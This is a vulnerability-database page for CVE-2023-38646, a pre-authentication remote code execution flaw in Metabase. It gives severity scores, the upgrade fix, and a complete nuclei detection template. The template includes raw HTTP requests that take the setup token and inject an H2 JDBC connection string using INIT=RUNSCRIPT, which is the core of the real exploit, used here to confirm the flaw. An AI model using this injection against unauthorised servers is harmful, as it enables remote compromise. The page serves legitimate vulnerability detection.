Browse / CVEs / CVE-2023-38646
CVE-2023-38646· metabase / metabase
Metabase < 0.46.6.1 - Remote Code Execution
criticalseverity
9.8CVSS score
99.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
Fix
Upgrade Metabase to version 0.46.6.1 or later to mitigate this vulnerability.
How to confirm it
Send: GET /api/session/properties ; POST /api/setup/validate
Positive when: contains_any(body_2, "Syntax error in SQL statement","NoSuchFileException") and status_code_2 == 400Run it with nuclei: nuclei -id CVE-2023-38646 -u <target>
The full check
id: CVE-2023-38646
info:
name: Metabase < 0.46.6.1 - Remote Code Execution
author: rootxharsh,iamnoooob,pdresearch
severity: critical
description: |
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
remediation: |
Upgrade Metabase to version 0.46.6.1 or later to mitigate this vulnerability.
reference:
- https://www.metabase.com/blog/security-advisory
- https://github.com/metabase/metabase/releases/tag/v0.46.6.1
- https://mp.weixin.qq.com/s/ATFwFl-D8k9QfQfzKjZFDg
- https://news.ycombinator.com/item?id=36812256
- https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
- https://gist.github.com/testanull/a7beb2777bbf550f3cf533d2794477fe
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-38646
epss-score: 0.99478
epss-percentile: 0.99943
cpe: cpe:2.3:a:metabase:metabase:*:*:*:*:-:*:*:*
metadata:
verified: true
max-request: 2
vendor: metabase
product: metabase
shodan-query:
- http.title:"Metabase"
- http.title:"metabase"
fofa-query:
- app="Metabase"
- title="metabase"
- app="metabase"
google-query: intitle:"metabase"
tags: cve2023,cve,metabase,oss,rce,vkev,vuln
variables:
file: "./plugins/vertica.metabase-driver.jar"
http:
- raw:
- |
GET /api/session/properties HTTP/1.1
Host: {{Hostname}}
- |
POST /api/setup/validate HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"token":"{{token}}",
"details":{
"details":{
"subprotocol":"h2",
"classname":"org.h2.Driver",
"advanced-options":true,
"subname":"mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '{{file}}'//\\;"
},
"name":"{{randstr}}",
"engine":"postgres"
}
}
extractors:
- type: json
part: body_1
name: token
json:
- .["setup-token"]
internal: true
matchers:
- type: dsl
dsl:
- contains_any(body_2, "Syntax error in SQL statement","NoSuchFileException")
- status_code_2 == 400
condition: andReferences
- https://www.metabase.com/blog/security-advisory
- https://github.com/metabase/metabase/releases/tag/v0.46.6.1
- https://mp.weixin.qq.com/s/ATFwFl-D8k9QfQfzKjZFDg
- https://news.ycombinator.com/item?id=36812256
- https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
- https://gist.github.com/testanull/a7beb2777bbf550f3cf533d2794477fe
Use this check only on systems you are authorised to test. Where the data comes from